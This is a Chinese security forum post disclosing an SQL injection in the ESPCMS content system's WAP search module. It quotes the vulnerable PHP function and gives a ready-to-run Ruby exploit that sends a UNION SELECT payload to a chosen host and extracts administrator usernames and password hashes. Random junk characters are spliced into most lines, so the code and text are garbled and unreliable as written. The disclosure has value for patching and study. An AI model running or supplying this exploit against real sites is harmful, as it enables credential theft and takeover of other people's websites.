找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2112|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
/ S( H$ E# c+ ~6 m$ O0×2 PoC1 ~5 U& b$ C( R4 Q, P" C
$ U" |1 d! R7 |) b

/ b: F' \5 V* B) j
3 ~& E) R. c" R! I* v0×0 漏洞概述  A8 s# D; h4 R$ {" B
: \* X3 K( I" g- D( x( _
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
. G! n3 _! m# g其在处理传入的参数时考虑不严谨导致SQL注入发生, d; T2 k6 S& |4 ~# G2 D
' R" q! y5 d  ~- K2 b- ]( r- Z
% i9 \3 t1 t$ `% R! x- i
0×1 漏洞细节
1 C' t- \2 ^. P+ S& c4 X
$ o+ N: b& O4 \& A4 C- W, Z变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
; V8 u# Z2 B  T! W( ^2 E* t! v, I正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
) n5 }# `( w( ?. }而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入# K4 q2 j% @1 z+ f5 L- E) k* c8 W

) ]  [9 l' s# i1 @7 X& f; p在/interface/3gwap_search.php文件的in_result函数中:' P. t4 {; J( q& }+ K, R6 ~
, L. W5 W# E7 @$ k4 e  Y. F$ C

0 K: o. u  ^% [' b3 R. @$ E
, Q' `& t+ e) l: I/ ~       function in_result() {
0 W" J2 G' u2 G' o+ o            ... ... ... ... ... ... ... ... ...; y0 v4 s. o8 i
            $urlcode = $_SERVER[ 'QUERY_STRING '];" S8 c9 c9 ^# S1 m3 E
            parse_str(html_entity_decode($urlcode), $output);
8 j6 R! u% t3 y$ @5 s7 j: a: G2 i6 v; C. [9 P& x; k
            ... ... ... ... ... ... ... ... ...
9 o7 p- O* y) q6 H; A            if (is_array($output['attr' ]) && count($output['attr']) > 0) {9 t- R1 L% A2 J

; C: \: u3 h4 I                  $db_table = db_prefix . 'model_att';) \" h* r! j$ S6 Z1 W* y" k. H% f
: i% V7 r/ O2 y/ C& L
                   foreach ($output['attr' ] as $key => $value) {# a3 J0 g) i9 {* y- p$ \2 g* b
                         if ($value) {
' n+ D/ b9 K6 M4 Z5 `
  ^4 c5 }  \$ |3 j9 f) p                              $key = addslashes($key);! I; ]5 {9 G3 I5 O2 E
                              $key = $this-> fun->inputcodetrim($key);+ z) X, E3 ~; l
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";9 |% W5 Q: ~2 y# ~9 M: T
                              $countnum = $this->db_numrows($db_table, $db_att_where);. o, w7 R6 s6 Y
                               if ($countnum > 0) {
2 V, O! P* u1 E1 w5 ^, x/ |7 `$ I5 g                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
! H  z/ V  u+ [# p5 B, Y( i" P                              }* l& w6 \4 h+ I8 J" b& q8 D6 t
                        }; {* [, d  q% o
                  }* C. c' _2 I- I/ h9 z% Z
            }
1 G# O6 C& ?* T1 K            if (!empty ($keyword) && empty($keyname)) {
* U- `2 n& p/ Z) l                  $keyname = 'title';1 g2 f  U6 o* n' y
                  $db_where.= " AND a.title like '%$keyword%'" ;
  m; _- L* ?! `. _0 D5 c; v. o            } elseif (!empty ($keyword) && !empty($keyname)) {
$ t+ r: d) \/ U& d  o                  $db_where.= " AND $keyname like '% $keyword%'";
0 T: B$ `0 z+ b+ J' C            }
  _' f3 J: e# w# Q1 n  |$ b8 S            $pagemax = 15;( R! d% K) D! O$ A% Y. \8 b* e

$ Y! K9 {, P, t$ ~            $pagesylte = 1;* Z' C+ q# m9 z" T

( g0 J, r. x5 L1 U" {, C) K$ A             if ($countnum > 0) {4 W+ I% y/ h/ v0 A3 W* v! x4 u
. S9 ?* \. x# G- R
                  $numpage = ceil($countnum / $pagemax);
. ^- @- Y. z+ e9 H            } else {* T+ F( L+ a( l& V3 D% a' l
                  $numpage = 1;
7 U4 e  V) |" I( l) _1 T5 I! [& |+ [            }
* }5 F6 R4 Y8 b. o4 F            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;) d- a4 o# d; F( |* q6 O# O
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);5 C, a3 Y4 C2 h" F/ O" d( J! f
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
+ v# h+ P! K: B            ... ... ... ... ... ... ... ... ...
% C) j2 z2 s. w' q+ I" U2 z+ E7 B      }
; k; B2 }. y9 V3 x; b1 \0 R& k' [) X
' Q! c5 v  ]* j' f  q6 ?
$ T( Z3 w" M7 x0×2 PoC
' L' a, J, Q* z- N
+ q* d$ O  B. ?1 J' ?$ H; ?9 t4 D* ?6 {3 h8 D3 z& F

) u, {* L* [  N+ v/ x. Xrequire "net/http"( a7 Z/ {& q) j3 j
, ]2 }' D, J1 j7 L3 M8 G" I
def request(method, url)
* d4 o- E8 m' B9 o( x6 M    if method.eql?("get")8 z- z/ a/ }* `2 [- y, l# A
        uri = URI.parse(url)
. g0 O, Y- c! t1 `7 I/ ^) p% U        http = Net::HTTP.new(uri.host, uri.port)7 W9 E( Q: n& f- D2 [
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
0 J- h$ f3 s* O2 w5 u4 c        return response7 d. G- z% j8 w9 O& Z
    end+ s2 B+ A' F! `, L
end
; [" V& d/ ]; A5 E8 D2 E" h, [$ [& A' W
doc =<<HERE/ k! D# c/ L9 B, t4 L, P" f
-------------------------------------------------------. D$ m8 x: o) I3 V- D: q
Espcms Injection Exploit
' }* G: Q! k( A9 u6 iAuthor:ztz2 s7 v( n6 y$ |( q: Z8 e
Blog:http://ztz.fuzzexp.org/
: x) p5 @8 |! [3 z-------------------------------------------------------& F0 [1 w6 A1 X5 N+ Y1 |6 m

' f6 t/ W" J8 @5 IHERE& }7 s  C8 g& T1 o! @6 }8 b( P$ F  |

8 S7 }* V) o' U% _: e+ s' @& }( yusage =<<HERE
  G/ e, R: g* j5 x6 {2 h0 R" O6 }Usage:         ruby #{$0} host port path* Z8 o  _8 y8 B+ d! }$ A7 L
example:     ruby #{$0} www.target.com 80 /
8 _+ U7 i! n" K  QHERE+ \& P: \7 p  u4 H
! o2 m% d0 {# I1 @! s3 U7 A; d' M
puts doc2 W3 A! n1 l9 d$ |  _, L7 b
if ARGV.length < 36 l8 @, ]) r( q
    puts usage
- X1 b7 `) x; xelse
% S0 V) F9 T% p7 L    $host = ARGV[0]
! w0 }$ S; l5 L4 ]7 a( b/ M    $port = ARGV[1]  [# r! X/ y* Y/ n4 Z
    $path = ARGV[2]
5 E+ L: z1 ~! k: J/ v( ~" g5 D. D- i' r& o2 `' O8 M
    puts "
  • send request..."
    4 A, l1 r$ O- T2 N    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    7 Y6 f; F4 Y2 {1 x8 r9 eattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    9 i. O$ D1 W$ M. Y,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27! J2 c! v; i+ i, D/ Y( x. P
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    0 ~  S. R! e: W: o* A) [    response = request("get", url)
    & [+ q) Z0 }; d& ^% r* d7 G- D    result = response.body.scan(/\w+&\w{32}/)
    ' [4 [6 T+ g, _    puts result% \2 U% I  i2 s" a& o" Z
    end8 u# L# ]+ ?; O8 _' V: j
    & r0 [* N% N+ a' I
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表